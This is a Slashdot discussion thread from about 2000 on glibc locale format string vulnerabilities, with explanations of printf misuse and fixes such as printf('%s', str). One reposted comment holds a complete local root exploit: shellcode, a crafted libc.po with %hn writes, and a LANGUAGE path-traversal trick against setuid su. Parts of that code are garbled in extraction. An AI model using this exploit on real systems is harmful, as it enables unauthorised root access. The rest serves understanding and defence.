Various *nix OSes Open To Format String Attacks 208
Numerous readers have pointed, as this unnamed correspondent does, to this CNET article: "There is an article on cnet claiming that both unix and linux systems contain security flaws, called 'format string' vulnerabilities, which allow hackers the ability to trick systems through command manipulation and subsequently run unauthorized applications."
Am I the only one? (Score:1)
Worthless.
It's an attack on Locale, not format strings... (Score:2)
Is it the end of the world? Not really, people are working on it. A user has to be on your machine to exploit it.
The article also complains that Debian, RedHat and Conectiva announced fixes prior to the Sept 11th announce date for the bug. Normally you want a co-ordinated release for large bugs to not nail slower to fix software products.
Ciao!
Re:But what do you do? (Score:3)
Step 1: make sure that the system's locale related stuff is owned by a secure account and permissioned accordingly so that others can't modify it.
Step 2: Ensure any setuid and setgid programs ignore user specified or non-system locales.
This way, the user can affect only their own account. They cannot give their specially made locales to setuid and setgid programs, and the setuid and setgid programs can still benefit from the system (presumed secure) locales.
It's no different from having properly permissioned
--
Re:Well.. (Score:1)
If you overflow the buffer with random data, then yes, it just segfaults. If however, you fill it with the right data, you can manipulate the return address of the function and thus run arbitrary code on the remote machine.
--
Re:But what do you do? (Score:1)
How about a function, sort of like printf, in which you specify the number and type of args seperately from their position?
Basically, substituting each % in the input with a format specifier from the hard-coded string. If there are too many "%" in the input, it doesn't crash. ("Error printing error message")Something like this:
Some variation on this could allow the order of the format specifiers to be rearranged. Heck, maybe something more fancy like Already easy to do in perl, but I've never seen this done in C.
Re:But what do you do? (Score:1)
Some %1 thing went wrong with the %2.
Probably not a good example, but I can imagine a tranlation that need the %2 before the %1. With printf specifiers, this can't be done.
NT ([hiss]) does messages this way. You can only have string parameters, but you can easily write tostr(int) type functions for when you need to include numbers or dates in the string.
I guess I should fix my code to do '%' to '%%' translation when I'm using syslog()... :-)
The %1 in the example would be "damn" in english.
Re:yawn - hypocricy (Score:1)
>it IS dumbass, its a C/C++ vunerability, its not OS specific.
Partially true. The thing that is OS specific is how locales are implemented in Unix/Linux, which makes it trivial to exploit this problem.
Re:Taint mode solves this problem (Score:2)
Re:This is a really old trick (Score:1)
Yes, one night of agressive drinking should make even the toughest daemon core dumped.
Re:/. == C|Net + NYTimes + CNN + .... (Score:2)
Solution # 1: Download slashcode, add these features to the Perl code, send the code back, and let everyone know about the features so we can get them deployed.
Solution # 2: Quishyourbishin.
Re:Ok, so how exactly would this work? (Score:1)
Ok, so how exactly would this work? (Score:1)
Someone claimed that a wrong number of %s can corrupt the stack. How so? In C, the caller is responsible for cleaning up the parameters from the call stack, i.e. there's no problem with this either.
So, enlightened hacker/crackers of Slashdot... how does the exploit actually work?
Thank you Alan, for being correct (Score:1)
I have no point here, I just like to say printf(_("Error %d: %s\n"), errno, strerror(errno));
AH.... (Score:1)
Thanks.
from securityfocus, repost (Score:1)
/* exploit for glibc/locale format strings bug.
* Tested in RedHat 6.2 with kernel 2.2.16.
* Script kiddies: you should modify this code
* slightly by yourself.
*
* Greets: Solar Designer, Jouko Pynnvnen , zenith parsec
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by warning3@nsfocus.com (http://www.nsfocus.com)
* y2k/9/6
*/
#include
#include
#include
#define DEFAULT_OFFSET 550
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC 0xbfffd2ff
#define DEFAULT_BUFFER_SIZE 2048
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90
#define PATH "/tmp/LC_MESSAGES"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *buff1, *ptr, *egg;
char *env[3];
long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int i,reth,retl,num=113;
FILE *fp;
if (argc > 1) sscanf(argv[1],"%x",&retloc);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) num = atoi(argv[3]);
if (argc > 4) align = atoi(argv[4]);
if (argc > 5) bsize = atoi(argv[5]);
if (argc > 6) eggsize = atoi(argv[6]);
printf("Usages: %s \n",argv[0]);
if (!(buff = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(buff1 = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset;
printf("Using Shellcode address: 0x%x\n", shell_addr);
reth = (shell_addr >> 16) & 0xffff ;
retl = (shell_addr >> 0) & 0xffff ;
ptr = buff;
for (i = 0; i > 8 ) & 0xff ;
(*ptr++) = (retloc >> 16 ) & 0xff ;
(*ptr++) = (retloc >> 24 ) & 0xff ;
}
memset(ptr,'A',align);
ptr = buff1;
for(i = 0 ; i num ; i++ )
{
memcpy(ptr, "%.8x", 4);
ptr += 4;
}
sprintf(ptr, "%%%uc%%hn%%%uc%%hn",(retl - num*8),
(0x10000 + reth - retl));
mkdir(PATH,0755);
chdir(PATH);
fp = fopen("libc.po", "w+");
fprintf(fp,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(fp,"msgstr \"%s\\n\"", buff1);
fclose(fp);
system("/usr/bin/msgfmt libc.po -o libc.mo");
ptr = egg;
for (i = 0; i eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i strlen(shellcode); i++)
*(ptr++) = shellcode[i];
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = "LANGUAGE=sk_SK/../../../../../../tmp";
env[2] = (char *)0 ;
execle("/bin/su","su","-u", buff, NULL,env);
}
Re:puts(string); (Score:1)
It's... It's...
Re:Boooring (Score:1)
It tends to be general style to speak as if I'm totally unsure unless I'm convinced beyond any shadow of a doubt.
The other person's post says whether or not perl's environment variables are tainted. I kinda thought they were.
I'd have to stare at source to know how much of the NLS library it uses. If it uses any of it, it's vulnerable even if environment variables are tainted in the actual running perl code.
haha (Score:1)
But what do you do? (Score:5)
For example, you might have a message "Cannot open file %s". When translating the message to another language, the grammar of the language might require placing words after the file ("annotcay ilefay %s openway"). This is easy to do if you translate the whole format string, but if you'd constructed it by strcat("Cannot open file ", file) the translator can't reorder the message.
But this makes you vulnerable because attackers can specify the locale database they'd like to use, making the format string something absurd like "%s%s%s%s%s%s", smashing the stack and opening the door to exploits.
Unfortunately, I haven't seen anyone give an alternative. The original advisories just say "This is bad coding practice, don't do it" but don't offer any alternatives and point to documents which RECOMMEND DOING EXACTLY THIS.
So, a question to all... how to you write your code so that it's flexible enough for translation, but not open to attack?
Way OT but..... (Score:2)
You may have time to read cnet, NyTimes, Yahoo News, AP feeds, Reuters feeds, The Register, and all the other sources that are often linked from
Personally I love
Sure there are things that are BS on
Re:OT: KDE in Debian (Score:1)
Credibility (Score:4)
Heard on NPR, quoting Jesse Ventura, the governor of Minnesota. He stated, and quite correctly, that many media outlets are no longer in the business of reporting the news, but instead, making the news. They're slaves to the almighty buck.
He went on to state that there's nothing wrong with being a slave to the almighty buck, but if they are, they should not be misleading consumers by stating that they're "journalists" and not "tabloid artists".
On the web, as with anywhere else, "consider the source". Many people no longer do this, but this is absolutely critical when judging the accuracy of any information, not limited to that shown in the news. Sensationalism in "professional" journalism is very much alive today as it were in the 1890's, when "yellow" journalism coursed through the pages of "credible" newspapers.
--
Re:/. == C|Net + NYTimes + CNN + .... (Score:2)
People come to a site because they can get things there that they can't elsewhere. My morning bookmarks are NYTimes, CNet, CNN, CBS Marketwatch, and Slashdot. If I start noticing that the last is just a rehash of the first 4, why would I bother to visit?
if Slashdot has all the same content as NYTimes, it's no longer "News For Nerds", it's "All the News that's Fit to Print", and I'll read it over there, thank you
Are you sure? (Score:1)
And that INCLUDES MacOS.
This topic is out my league, but drawing on my recollection of Mac Toolbox programming -- are you sure? It would seem to me that there's a big difference between using printf to send a string to Unix standard output and drawing a string in QuickDraw, and that it's a lot easier to do something malicious to the system with the former than the latter.
Not that gaining root on a Mac would be such a huge accomplishment anyway...
---------
It's not printf's fault (Score:1)
The arg lists could be made safer with some modification to the compiler and libc, but could it be done portably?
This could all too quickly turn into some strange C and C++ hybrid, or a C/Java holy war. Yipes!
Re:Not OpenBSD! (Score:1)
Re:C specific, not unix specific (Score:3)
Say, I make a remote client, it reads your login name, and password, and then says:
printf ("Hello %s%s,", name, "this is your name again:"); # no problem
printf (name); # problem
'cause if I say that my name is "%d asdf" or so, this might cause troubles. Maybe there are more ways to harm than just exploit this weakly set up printf statement, but this is the example of above, and because in my example we are talking about a "remote client", I have demonstrated to you that this is not just a local problem
So it's not just a _local_ "locale" thingy, it's all over.
It's... It's...
Varargs is the problem (Score:2)
One solution is to use iostreams in C++ instead of the old C library. Another basic check is to use some tool that will find all calls to the "printf" family that don't use string constants as the format.
Strings that really need to be expanded at run time need to go through a different mechanism, not "printf". Wrong tool.
Not new (Score:5)
have already been committed and are thus not vulnerable. Tehy make it sound a lot worse than
it really is.
Also, *ALL* Oses are impacted, since all oses have the sprintf-like functions.
Warner Losh
FreeBSD Security Officer.
Re:But what do you do? (Score:2)
One straightforward solution - scan through the string before using it to ensure that it only has the desired number/type of arguments specified in the pattern. If you're expecting a single string argument, keep the first occurrence of "%s" intact (or add it if you need to) and change all other instances of "%" to "%%" (or remove the %foo tokens).
C specific, not unix specific (Score:3)
yawn (Score:3)
Any program written in C or C++ could potentially suffer from the same problems...
And that INCLUDES Microsoft.
And that INCLUDES BeOS.
And that INCLUDES MacOS.
Big deal! In fact, this is probably one of the most uninformed articles I've read yet (unless I'm totally missing something).
Auditing anyone? (Score:3)
Arce initially found the locale vulnerability on a Sun Microsystems server, but it affects all Linux and Unix operating systems except OpenBSD and FreeBSD, he said.
And it is this comment that emphasises the need for a Linux project similar to OpenBSD (as asked in the previous /. article Here [slashdot.org])
This is not a flame, but we need a distribution that emphasizes security and code auditing, as opposed to the current trend of adding more and more bloat to an otherwise fast and stable kernel....
This was announced last week on Bugtraq. (Score:2)
What it is really about. (Score:2)
This is not a problem with C, this is a problem with the OS.
Re:/. == C|Net + NYTimes + CNN + .... (Score:2)
For that matter, how about all the new filtering features that
New class of vulnerabilities? Bah, humbug (Score:2)
Re:Taint mode solves this problem (Score:2)
Ob TTL:
Yeah, TTL seems to be pretty much bug free. The only thing I can think of is the 74C74 flipflop which has a slightly different truth table than other 74xx74 chips. Also, the 7490 power pins piss me off every time.
Ryan
At A Loss (Score:2)
Anyone know how this can be exploited from a foreign non-trusted host?
I'd love to see some examples.
Linux rocks!!! www.dedserius.com [dedserius.com]
Re:format string attack - not so old (Score:2)
Re:Hmmm... (Score:5)
http://archives.ne ohapsis.com/archives/bugtraq/2000-08/0457.html [neohapsis.com] describes a format string vulnerability (and sample exploit code) in the locale system of most Unixes; OpenBSD appears not to be vulnerable, and FreeBSD is not remotely exploitable, but all other major Unixes appear to be vulnerable.
This isn't FUD; the article is pretty dead-on.
--
It has been (Score:3)
Re:Well.. (Score:2)
there is a MUCH better explaination (and tutorial on this) by mudge of l0pht.com [l0pht.com]. One niffty trick i remember from the tutorial was a program that skipped over a line of it's own code. the program had two printf()'s, one of them never got executed because the IP was captured and increamented, therefore skipping a line of execution.
One of the major problem with a buffer over flow attack is that it's very depenedant on the flavor of OS and application you are overflowing. even if you have an exploit for a buffer overflow in say wuftp, is won't work on anything but the exact build, and OS setup it was designed for. because the offset for the IP will be different.
or something like that :)
-Jon
Re:Similar exploit in a popular IRC client. (Score:2)
Is there a reasonable article around on this which explains more about the problem and it's concepts as well as how proper and careful coding can avoid it? :/
The best introduction is Pascal Bourchariene's original paper on writing Format exploits .. its probably available
all over the web .. theres a copy
here [securityportal.com], for example.
This paper is to format string bugs what Aleph One's "Smashing the stack for fun and profit [securityfocus.com]" is to buffer overflows.
Steve
---
Bias, Microsoft and General Bullshit. (Score:2)
But the general responses to this artical are of the nature that "CNet is stupid" (even though it's not for geeks) and "It's a problem, and we should try to fix it". If you simply change the headline to
The interesting thing is that this "flavor" of expliot has a lot of things in common with the outlook attack of a few moons ago..
Both are more or less a problem hard to fix because it is based of a powerfull feature. The fact that Outlook can execute script within the e-mail is really pretty darn cool. The fact that developers can make applications more maintainable and portable with functions like vsprintf() is a good feature.
Closed source OS's are much less vunurable simply because you don't know where those vsprinfs() are, makeing is darn near impossible to expliot. *nix wasn't vunurable to the Outlook expliot, well.. because it doesn't run Outlook.
Recently I've seen a much more rational look at the whole MS vs. *Nix thing. in a recent Win2k vs. Linux debate many people we're modded up exressing how they belived that Win2k is a fine OS that should get more respect that is has received. Hopefully the next time around people here can be a little less one sidded with these things.
but i know that's not going to happen.
-Jon
Re:But what do you do? (Score:2)
It can be done, we know the "trust problems" that the sprintf approach suffers, we know the limitations of the (simplistic) strcat approach, build something better and learn from the mistakes of the past.
Thad
Re:But what do you do? (Score:2)
That's what I feared until I read the printf(3) manual carefully. Try printf("%2$d - %1$d", 1, 2);. I'm not sure how portable this is, though. I'm using glibc 2.1.3.
Re:Your example is wrong. (Score:3)
And really the best way to avoid these bugs is to avoid using anything other than fixed format strings. One way the bug occurs is (building on my previous example):
mysyslog(char *foo) {
syslog(LOG_DEBUG, foo);
}
(Obviously this is an example and mysyslog() in the real world probably does a few other things that the programmer always wanted to do when syslogging). Then the programer calls:
mysyslog("foobar");
All over the place and is fine until they start getting tricky and constructing error messages like:
sprintf(buffer, "error message: %s", foo);
mysyslog(buffer);
Which looks perfect reasonable, but of course is exploitable if foo is user-supplied. The fix is that mysyslog() needs to be rewritten to look like:
mysyslog(char *foo) {
syslog(LOG_DEBUG, "%s", foo);
}
Hole closed.
Re:Not new (Score:2)
/* get 'str' from user */
sprintf(buffer, str);
That would mean the user could put %d or whatever into the format string and corrupt the stack. The proper way to do things would be like printf("%s", str). Is that what you mean?
Re:Ok, so how exactly would this work? (Score:3)
I agree that using %s generally causes no possible root exploits. But there's a little known printf conversion character that allows you to *write* into the printf argument. It's %n. What it does is write the integer value of how many characters were written up to date by printf into an integer argument. (don't ask me why anyone would want this for legitimate purposes ...)
So, for example, say the vulnerable printf is:
From what I understand, the locale vulnerability allows you to replace the "%s" by anything you want. So you could tell the computer, for example, that in your country "blahblah" should be written "lots_of_random_characters...%n%n%n%n%n%n...(evil assembly code)". With a carefully calculated number of beginning characters and %ns, you could overwrite the function's return address (after the string on the stack) to contain the address of your evil assembly code, thus gaining root when the function returns. How this would work exactly would depend on the specific compiler/OS, more study would be needed to write a working exploit.
There might be other ways to exploit the problem, but that's my theory.
Re:Are you sure? (Score:2)
Re:Unix specific? Yes and no. (Score:2)
(grin) I'll certainly plead to the AppleScript part - just enough knowledge to make a mess of my own scripts. As for the Mac OS, however, I wasn't referring to the remote scripting mechanism or to Program Linking, and I should have been more clear. The problem is that applications can themselves originate AppleEvents, and if a web browser or server (say) can be compromised and includes AppleScript invocation as a feature of its own internal scripability, you can compromise the entire OS and not just that one application - it breaks out of its sandbox. I do think this is very comparable to the effects of the system(2) call in Unix.
Applescript is comparable to the Bourne shell because like the shell, it gains its strength from the other mechanisms it can invoke. Applescript can be used to create processes and to direct those processes in any arbitrary activity they include in their dictionary - its abilities are open-ended. It's also stronger in terms of what can be done internally by the language itself (the Bourne shell is actually pretty damn weak on its own, even simple math is out of the question). But the real issue here is the ability to invoke other processes external to itself. Hope that clarifies my comment somewhat.
Exploits? (Score:2)
OK, so you can make printf use an arbitary format string. printf will then read bits of the stack that it shouldn't. But I can't think on any circumstances when printf actually writes to memory, ever. So how can you install your code to be executed, ala typical buffer overruns?
So an evil person can make the eject command print garbage and seg fault. Yay. So what? Where's the root prompt?
Talk about major misinformation (Score:3)
//QUOTE
These "format string" vulnerabilities started surfacing about two months ago, said Elias Levy, a moderator of the Bugtraq computer security mailing list. Some of them have lurked for years in basic Unix programs, but security experts only now have begun to find and fix them.
To take advantage of a format string vulnerability, an attacker gets a computer to display a string of text characters with formatting commands. By carefully manipulating the formatting commands, the attacker can trick the computer into running a program.
"Format string bugs are the new trend in computer security vulnerabilities," said Ivan Arce, president of Argentinian security company Core SDI and discoverer of the "locale" format string vulnerability that became public last Friday. "
//QUOTE ENDS
This is so F sad, cuz this is as old as UNIX, ie,
gets(foo);
sprintf(...);
system(foo);
This was exploited in late 70's and 80's, lol, my first penetration of a box to use gopher! was using this in early 90's. anyway, talk about misinformation.
Re:Auditing anyone? (Score:2)
That is to say on the few occasions when Theo doesn't say "Blah, blah, blah... Not Vulnerable" he usually gets to say this instead:
This software is not installed/ configured/ active by default on OpenBSD, only people who actually needed it will be affected.
While it may be a few years yet before you see Red Hat doing a full code audit of their core distro, we are already seeing a conversion to the "secure by default" behaviour advocated by OpenBSD.
Red Hat 7.0 will ship with options that lock down machines more than any previous version, and you'll see the same trend in SuSE or Debian.
Another huge win OpenBSD brought to all Free operating systems, is "Crypto everywhere".
This policy means new boxes by default use strong crypto to protect package systems, remote admin, and other areas which five years ago were vulnerable on every Unix install.
WTF (Score:3)
segmentation fault(core dumped)
root@localhost root>
so it doesn't seem to me that this happens often, and even then, what kind of admin installs daemons without testing them thoroughly?
Re: (Score:2)
Re:Can somebody explain? (Score:3)
char *buff;
char *output;
[some code that sets buff through some
user-supplied data, such as an entry to
a prompt, environment variable, etc.]
sprintf(output, buff);
The user then supplies one or more formating sequences of his own into 'buff', and the *printf() functions then go looking for additional arguments.
That sprintf() call should really be this:
sprintf(output, "%s", buff);
Depending on where this happens, what can be placed into 'buff', and a slew of other factors, this can result in many outcomes, including nothing at all, a core dump, buffer overflow, display of "hidden/protected" information, or even root access.
Oh, and contrary to what the C|Net article says, this did not just start being exploited a couple of months ago, although there has been a decided increase in this over the last few months. For example, there was a problem in the qpopper POP3 software from Qualcomm that allowed easy root access via a missing "%s" format string, and that's well over a year old.
Then again, C|Net -usually- gets the technical details of such issues wrong, or at least seriously distorted. They also tend to go for the "omigawd!" reaction in their writing, blowing some things out of proportion. When/if I read them, I always do so through the reality filter that takes that into account...
puts(string); (Score:2)
Hah ha! I remember many years ago when I had someone else's code and I wanted to make the executable smaller, so I went through the program changing all the printf() into puts(). (The program wasn't doing any formatting at all.) That way, printf didn't get linked in. That was a lot of code, since printf has to handle so many types (including floating point) so the float libraries got linked in, etc...
Nowdays, I'm more of the "aw, just buy another 256MB of RAM" mentality, though. I guess my old 3.5k VIC-20 influences have finally worn off.
---
Re:Call me stupid, but... (Score:2)
Re:Call me stupid, but... (Score:2)
printf will interpret codes like "%s" in the first parameter only as placeholders for additional parameters. By hardcoding the first parameter, you can make sure that no unexpected codes are processed.
Re:Thankfully my W2K box is safe from this... (Score:2)
Re:Taint mode solves this problem (Score:2)
Re:Can somebody explain? (Score:3)
So, 6 year old's version:
What printf is
In the C programming language, one of the most common ways for displaying text is the printf function. When printf is used, it is given a string (a list of characters -- a bit of text, essentially) and optionally, some other variables that may contain various types of data. Printf then prints the string, modified by replacing certain special codes with formatted versions of the other variables. (Because the codes control how the other data is formatted, that first string is sometimes called the format string.)
These format codes always start with the % character; %% is replaced by a single % character in the output, while % followed by various other characters is replaced by one of the other variables, formatted as defined by one or more of the characters after the %. The simplest of these formatting codes is %s which means "the variable is another string; print it here just as-is".
There are also some variants of printf such as sprintf which do very similar things, and suffer from the same problems. Also, some programs written in other languages than C may be able to call C's printf function, so it's not necessarily limited to programs written in C.
The problem
If printf is called with more format codes in the format string that there are additional variables supplied to the function, then printf will grab some other data in memory to use as the additional variable, perhaps the next instruction that was supposed to be executed after printf. The result is that some garbage data is printed, and an instruction in the program is skipped. The result may pass unnoticed except for the weird output, but more likely, the program will do something other than it was supposed to do, and after a while, probably crash.
If a user can control what data is in the format string, he can stick in format codes the program does not expect, and thus make programs crash that run fine as long as no % characters appear in their input. A skilled hacker with detailed knowledge of the workings of a program may be able to give it input that causes it to execute, as the next instruction, some piece of data which he has fed into the program elsewhere, and thereby make the program do some specific thing he wants it to do, and which the program was not designed to do.
Setuid programs are UNIX programs that run with special privileges. These programs may be able to read or modify files that the user running them would ordinarily not be allowed to access. If a setuid program suffers from this problem, a skilled hacker may be able to use it to execute any code he wants with the program's privileges.
The Solution
You've seen this already as C code, since about a fourth of all the messages for this story consist of nothing but the answer. The problem occurs when the format string to printf is user-provided data; this most often happens when printf is used to simply print a string without doing any formatting, or in some situations involving the locale form of internationalization (see below). The cure to these problems is to never use a string containing user data as the format string for printf. Instead, use "%s" as the format string, and give the string of user data as the next variable. Thus, printf("%s",user_data) rather than printf(user_data).
However, there are many places this bug can occur, and another possible way of reducing preventing this problem with respect to locale data is to have the locale library check whether it is running with special privileges, and when it is, to ignore user-supplied locale databases. (See below.)
Locale
Locale is a system used widely on UNIX systems for making programs friendly to people who speak different languages. The way this works is that the user sets a setting which specifies his locale. This is close to simply specifying his language, but a locale can be more specific than this. A user might specify a UK locale to have his programs use "colour" instead of "color" and "full stop" instead of "period".
The way this works is that programs that support locales pass all their error/status messages through a function which searches the user's chosen locale database for that string. If it finds it, it returns the corresponding string localized for that user; otherwise, it just returns the original string.
Users can also create custom locale databases, and use some additional settings to allow programs to find them. For instance, a user who prefers to think of his directories as "folders" could specify a "folder" locale which only changed "directory" to "folder" and left all other program output unchanged. The problem is that users can create locales which contain extra formatting codes in the "localized" strings. If programs use local strings as format strings to printf, the problems described above can occur.
Re:Intersteing quote (Score:2)
Re:But what do you do? (Score:3)
So I'll try to answer the original question. Most of MY code lately has been written in Java. Java doesn't have this particular vulnerability, because it's not subject to stack over/underflows (normally). I HAVE written pleanty of code in C/C++, but nothing that used i18n. So other than suggesting "try a different language" (not always a useful suggestion) my answer is that I DON'T have a solution... at least not one thats so convenient that I use it in real life.
So... this is a community forum... anyone willing to step up and address this problem? New libraries for Linux? It wouldn't be too difficult to build something that automatically checks the format strings in a string catalog against those in a standard catalog and refuses to load the string catalog if it's not validated. If a couple of other people will help me (because I'm not a linux hacker and would need the help of someone with more i18n experience) I'm willing to work on writing something like this!. Any takers?
If I get no responses, I'll have to assume that the community is not interested (or that they just didn't see my post because it wasn't moderated up ;-) ), and I'll forget the whole issue.
-- Michael Chermside
michael.chermside@destiny.com
Re:Not new (Score:2)
Kris Kennaway
FreeBSD Security Officer team
Re:Not new -- and can be stopped by the compiler (Score:3)
Check out the thread on vuln-dev here [securityfocus.com]
Translation: (Score:2)
/translator on
1: Some *NIX based OSs are open to format string attacks that may allow malicious users to gain root level access.
2: This does not mean that *NIX is less secure than Windows, because these attacks require far more intelligence than it takes to crack a Windows box, as well as requiring the cracker to be able to access the system to begin with (In most cases.).
3: This is actually an old thing that has been around forever, and as usual, nobody other than the BSD folks bothered to fix it, just like the dozens of other security holes in various OSs that vendors have never bothered to fix. As the media, however, we must pretend that this is a big new thing and draw as much attention to it as usual, because:
I - Our parent company depends on advertising from Microsoft for a large portion of its revenue base.
II - We aren't actually capable journalists, and this reactionary crap is the best we can do.
/translation off
I would really love it if the
Re:Computer security is a myth (Score:2)
Please.. learn about computer security and the history before you beg to not fight it anymore. If that's the case, you can give up, change your root password to 'a' (assuming you run *nix)
As for myself, I enjoy securing my box and watching people try to break in. All my data is backed up and because I do open source work they have nothing to steal.
Don't volunteer to quit something you obviously are not a part of.
What are you talking about a recent innovative way to do bad things over IRC? I remember a long time ago having fun with trojan IRC scripts and other faults in clients that allowed you to cause people to disconnect and things along those lines. None of this is new. All of these exploits are based off of old faults. They are getting fixed (however slowly) and soon we will have out-of-the-box security, no it wont stop everyone. But it will stop the script kiddies that can only run other peoples programs to attack other peoples computer.
But, no, instead we throw money at a vain battle to keep our computers safe. A few words, shut the hell up. When you become a competent security consultant then say that money is being thrown to no avail. Security is an option, but it does take two things, competency and patience. You have to have patience to find and fix new problems, and the competency to do it.
It's not a war, at least not against the script kiddies. It's called evolution, and survival of the fitest. When your computer get broken into next, I hope you don't turn it back on and donate it to someone who takes better care of it.
nerdfarm.org
Re:Just be carefull when you *printf() (Score:2)
What's really needed is a run-time library to validate a format string against the set of arguments you want to send along with it.
IMHO, YMMV, etc...
Re:C specific, not unix specific (Score:4)
Mike
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com
Re:Unix specific? Yes and no. (Score:2)
> never deploy the non-Unix Mac OS for any production
> network server - also note that their assumption isn't
> even correct, because AppleScript is quite comparable
> to the Bourne shell and *can* be remotely invoked in
> some cases).
This post was written by a hack with just enough understanding of the MacOS and AppleScript to screw it up.
While it is theoretically possible to enable remote access of AppleScript, this is not a trivial thing to do (ie: your average Mac user will have trouble enabling this feature) and it is *not* (repeat NOT) on by default. Additionally, saying that AppleScript is comparable to the Bourne shell is a crock of shit. For better or worse, the Bourne shell has far more power than AppleScript does. AppleScript is more along the lines of TCL than a shell.
However, I definitely agree with his assertion that it is silly to run a production server on the MacOS. I run servers on MacOS (backwards compatibility), WinNT (ditto), Linux (non-critical service), and FreeBSD (mission-critical production server). The *nix servers are more reliable by far.
Re:I didn't understand that. (Score:3)
The "funny lines" are snippets of code in the C language. Many (perhaps even most) of us here on this site read at least a little bit of C, but if you don't, that's just fine. The poster was simply pointing out the correct way to use the printf() function.
/. is a great site, but it's not really a tutorial. I would suggest taking a look at Eric Raymond's Hacker Howto [tuxedo.org]. Install Linux on a machine (it's not that hard) and get a good book on Python. Join a Linux Users Group, or just hang out on some of the excellent Linux mailing lists or IRC sites.
Good Luck
Hmmm... (Score:3)
Format strings (Score:2)
Taint mode solves this problem (Score:5)
Basically, what this means is that perl forces you to check that the input you were given is secure. This makes perl more secure than C in many ways.
For more information on taint mode and other security features in perl, see the perlsec manpage.
Re:puts(string); (Score:2)
Seriously though, I'm with you. I prefer puts()/fputs() to printf() for unformatted output. It's smaller and faster. I remember trying to shoehorn 130K of executable into 128K RAM on a proprietary box... You wouldn't believe how we did it... Turns out we had a lot of repeated static string data, so routines like
void print_this() { print("this"); }
(note, it wasn't C, but an interpreted display code) saved about 4K in fixed string space!
/. == C|Net + NYTimes + CNN + .... (Score:2)
Personally, I already read all these sites. Why all the rehash? There's enough going on in the high-tech world without simply cloning content from one site to the next. If I want to jump off to some other portal/news site, I'll either bookmark it or use the slashboxes on the main page!
Unix specific? Yes and no. (Score:5)
There is a valid point made by the people suggesting that this problem is endemic to any software linked to the standard C library, or more specifically to software that abuses the printf() family of functions. This obviously isn't Unix-specific - the locale mechanism just happens to be the exploit that was described.
However, there *is* a gem of truth to the Unix vulnerability idea, and it's rooted in the power of the shell as well as the existence of (and overeliance on) the system(2) call. This is why the US Army moved their web servers from NT to (gasp) the "classic" Mac OS - not just because it offers no network services by default (this can trivially be accomplished on any OS), but because it doesn't have a command-line shell that's easy to exploit (note that I don't agree with their decision and would never deploy the non-Unix Mac OS for any production network server - also note that their assumption isn't even correct, because AppleScript is quite comparable to the Bourne shell and *can* be remotely invoked in some cases).
Part of the problem here is that we have come to rely on models for Unix network software that either need to put strings through the shell (and thus have to deal with baroque quoting issues) or can be tricked into doing so. CGIs are an example of this - it's now obvious that the CGI wasn't a particularly good choice for scalability *or* security. These issues do need to be addressed, so perhaps we can get a modicum of real use out of this latest CNet drivel.
Re:Not new (Score:2)
If this has been addressed, is there any method/website/mailing-list the various Unix system programmers have to communicate these findings to each other? The article mentions that they were trying to coordinate an announcement but that some of the distro makers spilled the beans early, causing a potential problem for others?
I figured I'd ask you since your title suggests you'd have answers
Format Strings 101 (fixed) (Score:5)
The problem comes about when you accept user input and then send it to vsprintf(), setproctitle(), syslog() or similar C programs that accept format strings. The seemingly innocuous code usually looks something like this:
char buffer[1024];
[...]
sprintf(buffer, "some message: %s", hostile_user_input);
syslog(LOG_DEBUG, buffer);
Now an attacker can shove a string into the hostile_user_input variable like "%s%s%s%s" which will then be passed to syslog which whill execute:
syslog(LOG_DEBUG, "some message: %s%s%s%s");
Notice that this isn't a "valid" format string. It tends to do odd things since it goes looking for function arguments that aren't actually there. Clever construction of the hostile format string will lead to an exploit. This was used in the wu-ftpd remote setproctitle() exploit and the recent linux rpc.statd syslog() remote exploit.
All OSen which have code compiled from C and which use the vsprintf(), syslog(), setproctitle(), etc functions are potentially vulnerable to these attacks. There are undoubtably these kinds of vulnerabilities lurking within W2K somewhere...
Re:Intersteing quote (Score:2)
Re:Hmmm... (Score:2)
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com
Not new, but more of a problem (Score:2)
Windows and Mac typically use resources embedded into the application for their internationalization, which can't be altered if you have your security settings set correctly.
This is a serious fundamental flaw in the internationalization of most apps. Don't take it too lightly, or assume that other OS's have the problem to the same degree.
Re:But what do you do? (Score:2)
One quick and easy solution is to make SUID programs not read any but the default language databases. Kind of a flexibility poor solution though, IMHO.
Another idea is to never use printf and friends to print messages out of formatting databases. Always explicity print out the formatted stuff in a seperate statement from the stuff you're printing out from the database.
I've never liked printf much anyway, but then again, I like C++. :-)
Oh, the Bugtraq link was tons more helpful than the Cnet article.
This is actually also only a problem in the face of setuid programs. I doubt Windows NT has this problem much. *sigh*
Re:But what do you do? (Score:2)
If you want to go to the real root of the problem, the bad practice is not using type-safe string formating APIs. It seems that a simple one would simply require an extra "template" format string that must be known at compile time (so the compiler can check that the right number of arguments are passed), and that is used to validate the real format string at run time. Then i18nized code would look like printf2("%d%s", _("You have %d %s(s)"), qty, name) (where _() is the conventinal dictionary lookup macro). Then if the joker gives you a format string that accesses the first fill-in argument as a string, or access a third fill-in argument at all, there is a run-time failure.
Boooring (Score:2)
